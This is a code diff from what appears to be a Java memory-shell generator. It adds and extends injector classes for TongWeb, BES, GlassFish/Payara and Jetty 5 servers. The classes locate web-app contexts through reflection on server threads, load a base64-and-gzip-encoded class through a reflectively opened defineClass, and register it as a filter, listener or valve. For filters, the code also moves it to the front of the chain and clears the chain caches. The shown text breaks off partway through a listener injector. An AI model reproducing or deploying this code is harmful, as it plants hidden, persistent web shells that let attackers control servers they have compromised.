return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean containsSubroutines(ClassReader classReader) {
|
||||||
|
final boolean[] found = {false};
|
||||||
|
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
return new MethodVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public void visitJumpInsn(int opcode, Label label) {
|
||||||
|
if (opcode == Opcodes.JSR) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitVarInsn(int opcode, int var) {
|
||||||
|
if (opcode == Opcodes.RET) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||||
|
return found[0];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-2
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
}
|
}
|
||||||
if (shell instanceof TongWeb) {
|
if (shell instanceof TongWeb) {
|
||||||
if (serverVersion == null) {
|
if (serverVersion == null) {
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
switch (serverVersion) {
|
switch (serverVersion) {
|
||||||
case "6":
|
case "6":
|
||||||
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
case "8":
|
case "8":
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
break;
|
break;
|
||||||
|
case "7.E":
|
||||||
|
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (StringUtils.isNotBlank(packageName)) {
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
|
|||||||
+21
-4
@@ -85,10 +85,27 @@ public class BesFilterInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+21
-4
@@ -77,10 +77,27 @@ public class BesListenerInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+21
-4
@@ -76,10 +76,27 @@ public class BesValveInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
for (Object value : childrenMap.values()) {
|
||||||
for (Object value : values) {
|
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
}
|
||||||
contexts.addAll(children.values());
|
} else if (thread.getName().contains("AppServer-utility")) {
|
||||||
|
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||||
|
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
try {
|
||||||
|
target = getFieldValue(target, "wrappedRunnable");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||||
|
for (Object task : workQueue) {
|
||||||
|
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||||
|
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||||
|
for (Object host : childrenMap.values()) {
|
||||||
|
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
|||||||
+44
-2
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
|
if (childrenMap == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
if (children != null) {
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target == null) {
|
||||||
|
// JDK 21+
|
||||||
|
Object holder = getFieldValue(thread, "holder");
|
||||||
|
if (holder != null) {
|
||||||
|
target = getFieldValue(holder, "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
Object container = getFieldValue(target, "this$0");
|
||||||
|
if (container != null) {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+43
-1
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
Collection<?> values = childrenMap.values();
|
Collection<?> values = childrenMap.values();
|
||||||
for (Object value : values) {
|
for (Object value : values) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "target");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(target, "this$0");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = getFieldValue(atomic, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
Object base = getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+297
@@ -0,0 +1,297 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5FilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5FilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
|
||||||
|
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object filterHolder = invokeMethod(
|
||||||
|
webApplicationHandler,
|
||||||
|
"defineFilter",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getClassName()});
|
||||||
|
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||||
|
invokeMethod(filterHolder, "start");
|
||||||
|
}
|
||||||
|
invokeMethod(
|
||||||
|
webApplicationHandler,
|
||||||
|
"addFilterPathMapping",
|
||||||
|
new Class[]{String.class, String.class, int.class},
|
||||||
|
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||||
|
moveLastPathFilterToFront(webApplicationHandler);
|
||||||
|
clearChainCache(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters != null && pathFilters.size() > 1) {
|
||||||
|
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||||
|
pathFilters.add(0, filterMapping);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearChainCache(Object webApplicationHandler) {
|
||||||
|
clearCacheField(webApplicationHandler, "_chainCache");
|
||||||
|
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearCacheField(Object object, String name) {
|
||||||
|
try {
|
||||||
|
Object cache = getFieldValue(object, name);
|
||||||
|
if (cache instanceof Map[]) {
|
||||||
|
Map[] maps = (Map[]) cache;
|
||||||
|
for (int i = 0; i < maps.length; i++) {
|
||||||
|
if (maps[i] != null) {
|
||||||
|
maps[i].clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+440
@@ -0,0 +1,440 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.EventListener;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5ListenerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5ListenerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
